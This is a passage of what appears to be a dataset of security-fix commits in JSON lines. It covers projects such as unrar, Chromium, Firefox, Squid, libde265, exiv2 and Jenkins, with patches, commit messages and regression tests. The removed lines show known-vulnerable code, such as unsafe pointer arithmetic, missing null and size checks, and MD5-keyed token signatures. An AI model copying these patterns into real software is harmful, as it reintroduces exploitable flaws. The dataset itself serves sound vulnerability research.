peparse::parsed_pe *pe{nullptr};\n+};", "sections": [{"section": "@@ -111,3 +111,19 @@ class MissingEKUTest : public ::testing::Test {\n \n peparse::parsed_pe *pe{nullptr};\n };\n+\n+class StuffingTest : public ::testing::Test {\n+ protected:\n+ void SetUp() override {\n+ auto *file = UTHENTICODE_TEST_ASSETS \"/YourPhone.exe\";\n+\n+ pe = peparse::ParsePEFromFile(file);\n+ ASSERT_TRUE(pe != nullptr);\n+ }\n+\n+ void TearDown() override {\n+ peparse::DestructParsedPE(pe);\n+ }\n+\n+ peparse::parsed_pe *pe{nullptr};\n+};", "related": false}]} +{"owner": "pmachapman", "repo": "unrar", "language": "C++", "file_name": "model.cpp", "commit_id": "2ecab6bb5ac4f3b88f270218445496662020205f", "commit_message": "Updated to 6.2.3", "patch": "@@ -532,13 +532,15 @@ inline bool RARPPM_CONTEXT::decodeSymbol2(ModelPPM *Model)\n Model->Coder.SubRange.LowCount=HiCnt;\n Model->Coder.SubRange.HighCount=Model->Coder.SubRange.scale;\n i=NumStats-Model->NumMasked;\n- pps--;\n+\n+ // 2022.12.02: we removed pps-- here and changed the code below to avoid\n+ // \"array subscript -1 is outside array bounds\" warning in some compilers.\n do \n { \n- pps++;\n if (pps>=ps+ASIZE(ps)) // Extra safety check.\n return false;\n Model->CharMask[(*pps)->Symbol]=Model->EscCount; \n+ pps++;\n } while ( --i );\n psee2c->Summ += Model->Coder.SubRange.scale;\n Model->NumMasked = NumStats;", "sections": [{"section": "@@ -532,13 +532,15 @@ inline bool RARPPM_CONTEXT::decodeSymbol2(ModelPPM *Model)\n Model->Coder.SubRange.LowCount=HiCnt;\n Model->Coder.SubRange.HighCount=Model->Coder.SubRange.scale;\n i=NumStats-Model->NumMasked;\n- pps--;\n+\n+ // 2022.12.02: we removed pps-- here and changed the code below to avoid\n+ // \"array subscript -1 is outside array bounds\" warning in some compilers.\n do \n { \n- pps++;\n if (pps>=ps+ASIZE(ps)) // Extra safety check.\n return false;\n Model->CharMask[(*pps)->Symbol]=Model->EscCount; \n+ pps++;\n } while ( --i );\n psee2c->Summ += Model->Coder.SubRange.scale;\n Model->NumMasked = NumStats;", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "chrome/browser/ui/views/tabs/tab_strip.h", "commit_id": "63d6b8ba8126b16215d33670df8c67dcbc6c9bef", "commit_message": "Fix UAF when exiting a nested run loop in TabDragContextImpl::OnGestureEvent.\n\nOnGestureEvent may call ContinueDrag, which may run a nested run loop. After the nested run loop returns, multiple seconds of time may have passed, and the world may be in a very different state; in particular, the window that contains this TabDragContext may have closed.\n\nThis CL checks if this has happened, and returns early in that case.\n\nBug: 1453465\nChange-Id: I6095c0afeb5aa5f422717f1bbd93b96175e52afa\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4657527\nReviewed-by: Darryl James \nCommit-Queue: Taylor Bergquist \nCode-Coverage: Findit \nCr-Commit-Position: refs/heads/main@{#1164449}", "patch": "@@ -278,7 +278,8 @@ class TabStrip : public views::View,\n TabSlotView* source,\n const ui::LocatedEvent& event,\n const ui::ListSelectionModel& original_selection) override;\n- void ContinueDrag(views::View* view, const ui::LocatedEvent& event) override;\n+ [[nodiscard]] Liveness ContinueDrag(views::View* view,\n+ const ui::LocatedEvent& event) override;\n bool EndDrag(EndDragReason reason) override;\n Tab* GetTabAt(const gfx::Point& point) override;\n const Tab* GetAdjacentTab(const Tab* tab, int offset) override;", "sections": [{"section": "@@ -278,7 +278,8 @@ class TabStrip : public views::View,\n TabSlotView* source,\n const ui::LocatedEvent& event,\n const ui::ListSelectionModel& original_selection) override;\n- void ContinueDrag(views::View* view, const ui::LocatedEvent& event) override;\n+ [[nodiscard]] Liveness ContinueDrag(views::View* view,\n+ const ui::LocatedEvent& event) override;\n bool EndDrag(EndDragReason reason) override;\n Tab* GetTabAt(const gfx::Point& point) override;\n const Tab* GetAdjacentTab(const Tab* tab, int offset) override;", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C", "file_name": "gfx/2d/RecordedEventImpl.h", "commit_id": "967de2ef024bac1b79a1a31817ace0d0b0ed9fb1", "commit_message": "Bug 1846694: Additional validation in RecordedSourceSurfaceCreation. r=gfx-reviewers,jrmuizel\n\nDifferential Revision: https://phabricator.services.mozilla.com/D185354", "patch": "@@ -3206,6 +3206,13 @@ RecordedSourceSurfaceCreation::RecordedSourceSurfaceCreation(S& aStream)\n ReadElement(aStream, mSize);\n ReadElementConstrained(aStream, mFormat, SurfaceFormat::A8R8G8B8_UINT32,\n SurfaceFormat::UNKNOWN);\n+\n+ if (!Factory::AllowedSurfaceSize(mSize)) {\n+ gfxCriticalNote << \"RecordedSourceSurfaceCreation read invalid size \"\n+ << mSize;\n+ aStream.SetIsBad();\n+ }\n+\n if (!aStream.good()) {\n return;\n }", "sections": [{"section": "@@ -3206,6 +3206,13 @@ RecordedSourceSurfaceCreation::RecordedSourceSurfaceCreation(S& aStream)\n ReadElement(aStream, mSize);\n ReadElementConstrained(aStream, mFormat, SurfaceFormat::A8R8G8B8_UINT32,\n SurfaceFormat::UNKNOWN);\n+\n+ if (!Factory::AllowedSurfaceSize(mSize)) {\n+ gfxCriticalNote << \"RecordedSourceSurfaceCreation read invalid size \"\n+ << mSize;\n+ aStream.SetIsBad();\n+ }\n+\n if (!aStream.good()) {\n return;\n }", "related": false}]} +{"owner": "apache", "repo": "nifi-minifi-cpp", "language": "C++", "file_name": "extensions/http-curl/client/HTTPClient.cpp", "commit_id": "14e2586aac2977f76b49c4c458908008edc9f211", "commit_message": "MINIFICPP-2170 Fix system certificate store usage in SSLContextService on Linux\n\nUse utils::getDefaultCAFile() in the SSLContextService to find the system CA\ncertificate store file, as the compiled-in default value is usually wrong.\nIf the system CA certificate store file is still not found, you can set the\nSSL_CERT_DIR or SSL_CERT_FILE environment variables to tell OpenSSL where\nthe certificates are.\n\nAlso: fix the incorrect handling of InvokeHTTP::DisablePeerVerification.\nSigned-off-by: Gabor Gyimesi \n\nThis closes #1620", "patch": "@@ -44,8 +44,8 @@ HTTPClient::HTTPClient(std::string url, std::shared_ptrlog_debug(\"%s peer verification\", peer_verification ? \"Enabling\" : \"Disabling\");\n+ if (peer_verification) {\n+ logger_->log_debug(\"Enabling peer verification\");\n+ } else {\n+ logger_->log_warn(\"Disabling peer verification: the authenticity of https servers will not be verified!\");\n+ }\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_VERIFYPEER, peer_verification);\n }\n \n@@ -458,26 +462,22 @@ int HTTPClient::onProgress(void *clientp, curl_off_t /*dltotal*/, curl_off_t dln\n void HTTPClient::configure_secure_connection() {\n #ifdef OPENSSL_SUPPORT\n if (ssl_context_service_) {\n- logger_->log_debug(\"Using certificate file \\\"%s\\\"\", ssl_context_service_->getCertificateFile().string());\n- logger_->log_debug(\"Using private key file \\\"%s\\\"\", ssl_context_service_->getPrivateKeyFile().string());\n- logger_->log_debug(\"Using CA certificate file \\\"%s\\\"\", ssl_context_service_->getCACertificate().string());\n-\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_FUNCTION, &configure_ssl_context);\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_DATA, static_cast(ssl_context_service_.get()));\n curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, nullptr);\n curl_easy_setopt(http_session_.get(), CURLOPT_CAPATH, nullptr);\n } else {\n- static const auto default_ca_path = utils::getDefaultCAPath();\n+ static const auto default_ca_file = utils::getDefaultCAFile();\n \n- if (default_ca_path)\n- logger_->log_debug(\"Using CA certificate file \\\"%s\\\"\", default_ca_path->string());\n+ if (default_ca_file)\n+ logger_->log_debug(\"Using CA certificate file \\\"%s\\\"\", std::string(*default_ca_file));\n else\n logger_->log_error(\"Could not find valid CA certificate file\");\n \n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_FUNCTION, nullptr);\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_DATA, nullptr);\n- if (default_ca_path)\n- curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, default_ca_path->string().c_str());\n+ if (default_ca_file)\n+ curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, std::string(*default_ca_file).c_str());\n else\n curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, nullptr);\n curl_easy_setopt(http_session_.get(), CURLOPT_CAPATH, nullptr);", "sections": [{"section": "@@ -44,8 +44,8 @@ HTTPClient::HTTPClient(std::string url, std::shared_ptrlog_debug(\"%s peer verification\", peer_verification ? \"Enabling\" : \"Disabling\");\n+ if (peer_verification) {\n+ logger_->log_debug(\"Enabling peer verification\");\n+ } else {\n+ logger_->log_warn(\"Disabling peer verification: the authenticity of https servers will not be verified!\");\n+ }\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_VERIFYPEER, peer_verification);\n }\n \n", "related": false}, {"section": "@@ -458,26 +462,22 @@ int HTTPClient::onProgress(void *clientp, curl_off_t /*dltotal*/, curl_off_t dln\n void HTTPClient::configure_secure_connection() {\n #ifdef OPENSSL_SUPPORT\n if (ssl_context_service_) {\n- logger_->log_debug(\"Using certificate file \\\"%s\\\"\", ssl_context_service_->getCertificateFile().string());\n- logger_->log_debug(\"Using private key file \\\"%s\\\"\", ssl_context_service_->getPrivateKeyFile().string());\n- logger_->log_debug(\"Using CA certificate file \\\"%s\\\"\", ssl_context_service_->getCACertificate().string());\n-\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_FUNCTION, &configure_ssl_context);\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_DATA, static_cast(ssl_context_service_.get()));\n curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, nullptr);\n curl_easy_setopt(http_session_.get(), CURLOPT_CAPATH, nullptr);\n } else {\n- static const auto default_ca_path = utils::getDefaultCAPath();\n+ static const auto default_ca_file = utils::getDefaultCAFile();\n \n- if (default_ca_path)\n- logger_->log_debug(\"Using CA certificate file \\\"%s\\\"\", default_ca_path->string());\n+ if (default_ca_file)\n+ logger_->log_debug(\"Using CA certificate file \\\"%s\\\"\", std::string(*default_ca_file));\n else\n logger_->log_error(\"Could not find valid CA certificate file\");\n \n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_FUNCTION, nullptr);\n curl_easy_setopt(http_session_.get(), CURLOPT_SSL_CTX_DATA, nullptr);\n- if (default_ca_path)\n- curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, default_ca_path->string().c_str());\n+ if (default_ca_file)\n+ curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, std::string(*default_ca_file).c_str());\n else\n curl_easy_setopt(http_session_.get(), CURLOPT_CAINFO, nullptr);\n curl_easy_setopt(http_session_.get(), CURLOPT_CAPATH, nullptr);", "related": false}]} +{"owner": "strukturag", "repo": "libde265", "language": "C", "file_name": "libde265/slice.cc", "commit_id": "e36b4a1b0bafa53df47514c419d5be3e8916ebc7", "commit_message": "null-pointer check in debug output (fixes #426)", "patch": "@@ -1277,14 +1277,23 @@ void slice_segment_header::dump_slice_segment_header(const decoder_context* ctx,\n #define LOG3(t,d1,d2,d3) log2fh(fh, t,d1,d2,d3)\n #define LOG4(t,d1,d2,d3,d4) log2fh(fh, t,d1,d2,d3,d4)\n \n+ LOG0(\"----------------- SLICE -----------------\\n\");\n+\n const pic_parameter_set* pps = ctx->get_pps(slice_pic_parameter_set_id);\n+ if (!pps) {\n+ LOG0(\"invalid PPS referenced\\n\");\n+ return;\n+ }\n assert(pps->pps_read); // TODO: error handling\n \n const seq_parameter_set* sps = ctx->get_sps((int)pps->seq_parameter_set_id);\n+ if (!sps) {\n+ LOG0(\"invalid SPS referenced\\n\");\n+ return;\n+ }\n assert(sps->sps_read); // TODO: error handling\n \n \n- LOG0(\"----------------- SLICE -----------------\\n\");\n LOG1(\"first_slice_segment_in_pic_flag : %d\\n\", first_slice_segment_in_pic_flag);\n if (ctx->get_nal_unit_type() >= NAL_UNIT_BLA_W_LP &&\n ctx->get_nal_unit_type() <= NAL_UNIT_RESERVED_IRAP_VCL23) {", "sections": [{"section": "@@ -1277,14 +1277,23 @@ void slice_segment_header::dump_slice_segment_header(const decoder_context* ctx,\n #define LOG3(t,d1,d2,d3) log2fh(fh, t,d1,d2,d3)\n #define LOG4(t,d1,d2,d3,d4) log2fh(fh, t,d1,d2,d3,d4)\n \n+ LOG0(\"----------------- SLICE -----------------\\n\");\n+\n const pic_parameter_set* pps = ctx->get_pps(slice_pic_parameter_set_id);\n+ if (!pps) {\n+ LOG0(\"invalid PPS referenced\\n\");\n+ return;\n+ }\n assert(pps->pps_read); // TODO: error handling\n \n const seq_parameter_set* sps = ctx->get_sps((int)pps->seq_parameter_set_id);\n+ if (!sps) {\n+ LOG0(\"invalid SPS referenced\\n\");\n+ return;\n+ }\n assert(sps->sps_read); // TODO: error handling\n \n \n- LOG0(\"----------------- SLICE -----------------\\n\");\n LOG1(\"first_slice_segment_in_pic_flag : %d\\n\", first_slice_segment_in_pic_flag);\n if (ctx->get_nal_unit_type() >= NAL_UNIT_BLA_W_LP &&\n ctx->get_nal_unit_type() <= NAL_UNIT_RESERVED_IRAP_VCL23) {", "related": false}]} +{"owner": "squid-cache", "repo": "squid", "language": "C", "file_name": "src/client_side_request.cc", "commit_id": "6ea12e8fb590ac6959e9356a81aa3370576568c3", "commit_message": "Remove support for Gopher protocol (#1092)\n\nGopher code quality remains too low for production use in most\nenvironments. The code is a persistent source of vulnerabilities and\nfixing it requires significant effort. We should not be spending scarce\nProject resources on improving that code, especially given the lack of\nstrong demand for Gopher support.\n\nWith this change, Gopher requests will be handled like any other request\nwith an unknown (to Squid) protocol. For example, HTTP requests with\nGopher URI scheme result in ERR_UNSUP_REQ.\n\nDefault Squid configuration still considers TCP port 70 \"safe\". The\ncorresponding Safe_ports ACL rule has not been removed for consistency\nsake: We consider WAIS port safe even though Squid refuses to forward\nWAIS requests:\n\n acl Safe_ports port 70 # gopher\n acl Safe_ports port 210 # wais", "patch": "@@ -34,7 +34,6 @@\n #include \"fde.h\"\n #include \"format/Token.h\"\n #include \"FwdState.h\"\n-#include \"gopher.h\"\n #include \"helper.h\"\n #include \"helper/Reply.h\"\n #include \"http.h\"\n@@ -907,9 +906,6 @@ clientHierarchical(ClientHttpRequest * http)\n if (request->url.getScheme() == AnyP::PROTO_HTTP)\n return method.respMaybeCacheable();\n \n- if (request->url.getScheme() == AnyP::PROTO_GOPHER)\n- return gopherCachable(request);\n-\n if (request->url.getScheme() == AnyP::PROTO_CACHE_OBJECT)\n return 0;\n ", "sections": [{"section": "@@ -34,7 +34,6 @@\n #include \"fde.h\"\n #include \"format/Token.h\"\n #include \"FwdState.h\"\n-#include \"gopher.h\"\n #include \"helper.h\"\n #include \"helper/Reply.h\"\n #include \"http.h\"\n", "related": false}, {"section": "@@ -907,9 +906,6 @@ clientHierarchical(ClientHttpRequest * http)\n if (request->url.getScheme() == AnyP::PROTO_HTTP)\n return method.respMaybeCacheable();\n \n- if (request->url.getScheme() == AnyP::PROTO_GOPHER)\n- return gopherCachable(request);\n-\n if (request->url.getScheme() == AnyP::PROTO_CACHE_OBJECT)\n return 0;\n ", "related": false}]} +{"owner": "exiv2", "repo": "exiv2", "language": "Python", "file_name": "tests/bugfixes/github/test_issue_ghsa_hrw9_ggg3_3r4r.py", "commit_id": "e884a0955359107f4031c74a07406df7e99929a5", "commit_message": "Merge pull request from GHSA-hrw9-ggg3-3r4r\n\nFix integer overflow in BmffImage::brotliUncompress", "patch": "@@ -0,0 +1,19 @@\n+# -*- coding: utf-8 -*-\n+\n+from system_tests import CaseMeta, path\n+\n+class BrotliUncompressOutOfBoundsWrite(metaclass=CaseMeta):\n+ \"\"\"\n+ Regression test for the bug described in:\n+ https://github.com/Exiv2/exiv2/security/advisories/GHSA-hrw9-ggg3-3r4r\n+ \"\"\"\n+ url = \"https://github.com/Exiv2/exiv2/security/advisories/GHSA-hrw9-ggg3-3r4r\"\n+\n+ filename = path(\"$data_path/issue_ghsa_hrw9_ggg3_3r4r_poc.jpg\")\n+ commands = [\"$exiv2 $filename\"]\n+ stdout = [\"\"]\n+ stderr = [\n+\"\"\"Exiv2 exception in print action for file $filename:\n+$kerFailedToReadImageData\n+\"\"\"]\n+ retval = [1]", "sections": [{"section": "@@ -0,0 +1,19 @@\n+# -*- coding: utf-8 -*-\n+\n+from system_tests import CaseMeta, path\n+\n+class BrotliUncompressOutOfBoundsWrite(metaclass=CaseMeta):\n+ \"\"\"\n+ Regression test for the bug described in:\n+ https://github.com/Exiv2/exiv2/security/advisories/GHSA-hrw9-ggg3-3r4r\n+ \"\"\"\n+ url = \"https://github.com/Exiv2/exiv2/security/advisories/GHSA-hrw9-ggg3-3r4r\"\n+\n+ filename = path(\"$data_path/issue_ghsa_hrw9_ggg3_3r4r_poc.jpg\")\n+ commands = [\"$exiv2 $filename\"]\n+ stdout = [\"\"]\n+ stderr = [\n+\"\"\"Exiv2 exception in print action for file $filename:\n+$kerFailedToReadImageData\n+\"\"\"]\n+ retval = [1]", "related": false}]} +{"owner": "squid-cache", "repo": "squid", "language": "C", "file_name": "src/anyp/Uri.cc", "commit_id": "b70f864940225dfe69f9f653f948e787f99c3810", "commit_message": "Fix validation of certificates with CN=* (#1523)\n\nThe bug was discovered and detailed by Joshua Rogers at\nhttps://megamansec.github.io/Squid-Security-Audit/\nwhere it was filed as \"Buffer UnderRead in SSL CN Parsing\".", "patch": "@@ -175,6 +175,10 @@ urlInitialize(void)\n assert(0 == matchDomainName(\"*.foo.com\", \".foo.com\", mdnHonorWildcards));\n assert(0 != matchDomainName(\"*.foo.com\", \"foo.com\", mdnHonorWildcards));\n \n+ assert(0 != matchDomainName(\"foo.com\", \"\"));\n+ assert(0 != matchDomainName(\"foo.com\", \"\", mdnHonorWildcards));\n+ assert(0 != matchDomainName(\"foo.com\", \"\", mdnRejectSubsubDomains));\n+\n /* more cases? */\n }\n \n@@ -828,6 +832,8 @@ matchDomainName(const char *h, const char *d, MatchDomainNameFlags flags)\n return -1;\n \n dl = strlen(d);\n+ if (dl == 0)\n+ return 1;\n \n /*\n * Start at the ends of the two strings and work towards the", "sections": [{"section": "@@ -175,6 +175,10 @@ urlInitialize(void)\n assert(0 == matchDomainName(\"*.foo.com\", \".foo.com\", mdnHonorWildcards));\n assert(0 != matchDomainName(\"*.foo.com\", \"foo.com\", mdnHonorWildcards));\n \n+ assert(0 != matchDomainName(\"foo.com\", \"\"));\n+ assert(0 != matchDomainName(\"foo.com\", \"\", mdnHonorWildcards));\n+ assert(0 != matchDomainName(\"foo.com\", \"\", mdnRejectSubsubDomains));\n+\n /* more cases? */\n }\n \n", "related": false}, {"section": "@@ -828,6 +832,8 @@ matchDomainName(const char *h, const char *d, MatchDomainNameFlags flags)\n return -1;\n \n dl = strlen(d);\n+ if (dl == 0)\n+ return 1;\n \n /*\n * Start at the ends of the two strings and work towards the", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/test/java/hudson/util/MockSecretRule.java", "commit_id": "4895eaafca468b7f0f1a3166b2fca7414f0d5da5", "commit_message": "[SECURITY-49] added a tool to re-key secrets\n\nAs an AdministrativeMonitor, it shows up in the manage Jenkins UI, and\nallows the administrator to run a re-keying operation.", "patch": "@@ -0,0 +1,33 @@\n+package hudson.util;\n+\n+import hudson.Util;\n+import org.junit.rules.ExternalResource;\n+\n+import java.security.SecureRandom;\n+\n+/**\n+ * JUnit rule that cleans that sets a temporary {@link Secret#SECRET} value.\n+ *\n+ * @author Kohsuke Kawaguchi\n+ */\n+public class MockSecretRule extends ExternalResource {\n+\n+ private String value;\n+\n+ @Override\n+ protected void before() throws Throwable {\n+ byte[] random = new byte[32];\n+ sr.nextBytes(random);\n+ value = Util.toHexString(random);\n+ Secret.SECRET = value;\n+ }\n+\n+ @Override\n+ protected void after() {\n+ if (!Secret.SECRET.equals(value))\n+ throw new IllegalStateException(\"Someone tinkered with Secret.SECRET\");\n+ Secret.SECRET = null;\n+ }\n+\n+ private static final SecureRandom sr = new SecureRandom();\n+}", "sections": [{"section": "@@ -0,0 +1,33 @@\n+package hudson.util;\n+\n+import hudson.Util;\n+import org.junit.rules.ExternalResource;\n+\n+import java.security.SecureRandom;\n+\n+/**\n+ * JUnit rule that cleans that sets a temporary {@link Secret#SECRET} value.\n+ *\n+ * @author Kohsuke Kawaguchi\n+ */\n+public class MockSecretRule extends ExternalResource {\n+\n+ private String value;\n+\n+ @Override\n+ protected void before() throws Throwable {\n+ byte[] random = new byte[32];\n+ sr.nextBytes(random);\n+ value = Util.toHexString(random);\n+ Secret.SECRET = value;\n+ }\n+\n+ @Override\n+ protected void after() {\n+ if (!Secret.SECRET.equals(value))\n+ throw new IllegalStateException(\"Someone tinkered with Secret.SECRET\");\n+ Secret.SECRET = null;\n+ }\n+\n+ private static final SecureRandom sr = new SecureRandom();\n+}", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/hudson/security/TokenBasedRememberMeServices2.java", "commit_id": "a9aff088f327278a8873aef47fa8f80d3c5932fd", "commit_message": "[SECURITY-49] Deprecating Jenkins.getSecretKey()\n\nWe are replacing it by the ConfidentialStore class and the\nConfidentialKey class, which provides purpose-specific confidential\ninformation that are separated from each other.\n\nIn this way, not all eggs are in one basket, and in case of a\ncompromise, the impact will contained.\n\nAlso replaced several insecure use of digest(secret|messsage) or\ndigest(message|secret) by HMAC.", "patch": "@@ -23,10 +23,10 @@\n */\n package hudson.security;\n \n+import jenkins.security.HMACConfidentialKey;\n import org.acegisecurity.ui.rememberme.TokenBasedRememberMeServices;\n import org.acegisecurity.userdetails.UserDetails;\n import org.acegisecurity.Authentication;\n-import org.apache.commons.codec.digest.DigestUtils;\n \n /**\n * {@link TokenBasedRememberMeServices} with modification so as not to rely\n@@ -41,7 +41,7 @@\n public class TokenBasedRememberMeServices2 extends TokenBasedRememberMeServices {\n @Override\n protected String makeTokenSignature(long tokenExpiryTime, UserDetails userDetails) {\n- String expectedTokenSignature = DigestUtils.md5Hex(userDetails.getUsername() + \":\" + tokenExpiryTime + \":\"\n+ String expectedTokenSignature = MAC.mac(userDetails.getUsername() + \":\" + tokenExpiryTime + \":\"\n + \"N/A\" + \":\" + getKey());\n return expectedTokenSignature;\n }\n@@ -50,4 +50,9 @@ protected String makeTokenSignature(long tokenExpiryTime, UserDetails userDetail\n protected String retrievePassword(Authentication successfulAuthentication) {\n return \"N/A\";\n }\n+\n+ /**\n+ * Used to compute the token signature securely.\n+ */\n+ private static final HMACConfidentialKey MAC = new HMACConfidentialKey(TokenBasedRememberMeServices.class,\"mac\");\n }", "sections": [{"section": "@@ -23,10 +23,10 @@\n */\n package hudson.security;\n \n+import jenkins.security.HMACConfidentialKey;\n import org.acegisecurity.ui.rememberme.TokenBasedRememberMeServices;\n import org.acegisecurity.userdetails.UserDetails;\n import org.acegisecurity.Authentication;\n-import org.apache.commons.codec.digest.DigestUtils;\n \n /**\n * {@link TokenBasedRememberMeServices} with modification so as not to rely\n", "related": false}, {"section": "@@ -41,7 +41,7 @@\n public class TokenBasedRememberMeServices2 extends TokenBasedRememberMeServices {\n @Override\n protected String makeTokenSignature(long tokenExpiryTime, UserDetails userDetails) {\n- String expectedTokenSignature = DigestUtils.md5Hex(userDetails.getUsername() + \":\" + tokenExpiryTime + \":\"\n+ String expectedTokenSignature = MAC.mac(userDetails.getUsername() + \":\" + tokenExpiryTime + \":\"\n + \"N/A\" + \":\" + getKey());\n return expectedTokenSignature;\n }\n", "related": false}, {"section": "@@ -50,4 +50,9 @@ protected String makeTokenSignature(long tokenExpiryTime, UserDetails userDetail\n protected String retrievePassword(Authentication successfulAuthentication) {\n return \"N/A\";\n }\n+\n+ /**\n+ * Used to compute the token signature securely.\n+ */\n+ private static final HMACConfidentialKey MAC = new HMACConfidentialKey(TokenBasedRememberMeServices.class,\"mac\");\n }", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/jenkins/security/HMACConfidentialKey.java", "commit_id": "a9aff088f327278a8873aef47fa8f80d3c5932fd", "commit_message": "[SECURITY-49] Deprecating Jenkins.getSecretKey()\n\nWe are replacing it by the ConfidentialStore class and the\nConfidentialKey class, which provides purpose-specific confidential\ninformation that are separated from each other.\n\nIn this way, not all eggs are in one basket, and in case of a\ncompromise, the impact will contained.\n\nAlso replaced several insecure use of digest(secret|messsage) or\ndigest(message|secret) by HMAC.", "patch": "@@ -0,0 +1,144 @@\n+package jenkins.security;\n+\n+import hudson.Util;\n+\n+import javax.crypto.KeyGenerator;\n+import javax.crypto.Mac;\n+import javax.crypto.SecretKey;\n+import javax.crypto.spec.SecretKeySpec;\n+import java.io.IOException;\n+import java.io.UnsupportedEncodingException;\n+import java.security.GeneralSecurityException;\n+import java.security.NoSuchAlgorithmException;\n+import java.util.Arrays;\n+\n+/**\n+ * {@link ConfidentialKey} that's used for creating a token by hashing some information with secret\n+ * (such as hash(msg|secret)).\n+ *\n+ *

\n+ * This provides more secure version of it by using HMAC.\n+ * See http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/ for background.\n+ * This implementation also never leaks the secret value to outside, so it makes it impossible\n+ * for the careless caller to misuse the key (thus protecting ourselves from our own stupidity!)\n+ *\n+ * @author Kohsuke Kawaguchi\n+ * @since 1.498\n+ */\n+public class HMACConfidentialKey extends ConfidentialKey {\n+ private volatile SecretKey key;\n+ private final int length;\n+\n+ /**\n+ * @param length\n+ * Byte length of the HMAC code.\n+ * By default we use HMAC-SHA256, which produces 256bit (=32bytes) HMAC,\n+ * but if different use cases requires a shorter HMAC, specify the desired length here.\n+ * Note that when using {@link #mac(String)}, string encoding causes the length to double.\n+ * So if you want to get 16-letter HMAC, you specify 8 here.\n+ */\n+ public HMACConfidentialKey(String id, int length) {\n+ super(id);\n+ this.length = length;\n+ }\n+\n+ /**\n+ * Calls into {@link #HMACConfidentialKey(String, int)} with the longest possible HMAC length.\n+ */\n+ public HMACConfidentialKey(String id) {\n+ this(id,Integer.MAX_VALUE);\n+ }\n+\n+ /**\n+ * Calls into {@link #HMACConfidentialKey(String, int)} by combining the class name and the shortName\n+ * as the ID.\n+ */\n+ public HMACConfidentialKey(Class owner, String shortName, int length) {\n+ this(owner.getName()+'.'+shortName,length);\n+ }\n+\n+ public HMACConfidentialKey(Class owner, String shortName) {\n+ this(owner,shortName,Integer.MAX_VALUE);\n+ }\n+\n+\n+ /**\n+ * Computes the message authentication code for the specified byte sequence.\n+ */\n+ public byte[] mac(byte[] message) {\n+ return chop(createMac().doFinal(message));\n+ }\n+\n+ /**\n+ * Convenience method for verifying the MAC code.\n+ */\n+ public boolean checkMac(byte[] message, byte[] mac) {\n+ return Arrays.equals(mac(message),mac);\n+ }\n+\n+ /**\n+ * Computes the message authentication code and return it as a string.\n+ * While redundant, often convenient.\n+ */\n+ public String mac(String message) {\n+ try {\n+ return Util.toHexString(mac(message.getBytes(\"UTF-8\")));\n+ } catch (UnsupportedEncodingException e) {\n+ throw new AssertionError(e);\n+ }\n+ }\n+\n+ /**\n+ * Verifies MAC constructed from {@link #mac(String)}\n+ */\n+ public boolean checkMac(String message, String mac) {\n+ return mac(message).equals(mac);\n+ }\n+\n+ private byte[] chop(byte[] mac) {\n+ if (mac.length<=length) return mac; // already too short\n+\n+ byte[] b = new byte[length];\n+ System.arraycopy(mac,0,b,0,b.length);\n+ return b;\n+ }\n+\n+ /**\n+ * Creates a new {@link Mac} object.\n+ */\n+ public Mac createMac() {\n+ try {\n+ Mac mac = Mac.getInstance(ALGORITHM);\n+ mac.init(getKey());\n+ return mac;\n+ } catch (GeneralSecurityException e) {\n+ // Javadoc says HmacSHA256 must be supported by every Java implementation.\n+ throw new Error(ALGORITHM+\" not supported?\",e);\n+ }\n+ }\n+\n+ private SecretKey getKey() {\n+ if (key==null) {\n+ synchronized (this) {\n+ if (key==null) {\n+ try {\n+ byte[] encoded = load();\n+ if (encoded==null) {\n+ KeyGenerator kg = KeyGenerator.getInstance(ALGORITHM);\n+ SecretKey key = kg.generateKey();\n+ store(encoded=key.getEncoded());\n+ }\n+ key = new SecretKeySpec(encoded,ALGORITHM);\n+ } catch (IOException e) {\n+ throw new Error(\"Failed to load the key: \"+getId(),e);\n+ } catch (NoSuchAlgorithmException e) {\n+ throw new Error(\"Failed to load the key: \"+getId(),e);\n+ }\n+ }\n+ }\n+ }\n+ return key;\n+ }\n+\n+ private static final String ALGORITHM = \"HmacSHA256\";\n+}", "sections": [{"section": "@@ -0,0 +1,144 @@\n+package jenkins.security;\n+\n+import hudson.Util;\n+\n+import javax.crypto.KeyGenerator;\n+import javax.crypto.Mac;\n+import javax.crypto.SecretKey;\n+import javax.crypto.spec.SecretKeySpec;\n+import java.io.IOException;\n+import java.io.UnsupportedEncodingException;\n+import java.security.GeneralSecurityException;\n+import java.security.NoSuchAlgorithmException;\n+import java.util.Arrays;\n+\n+/**\n+ * {@link ConfidentialKey} that's used for creating a token by hashing some information with secret\n+ * (such as hash(msg|secret)).\n+ *\n+ *

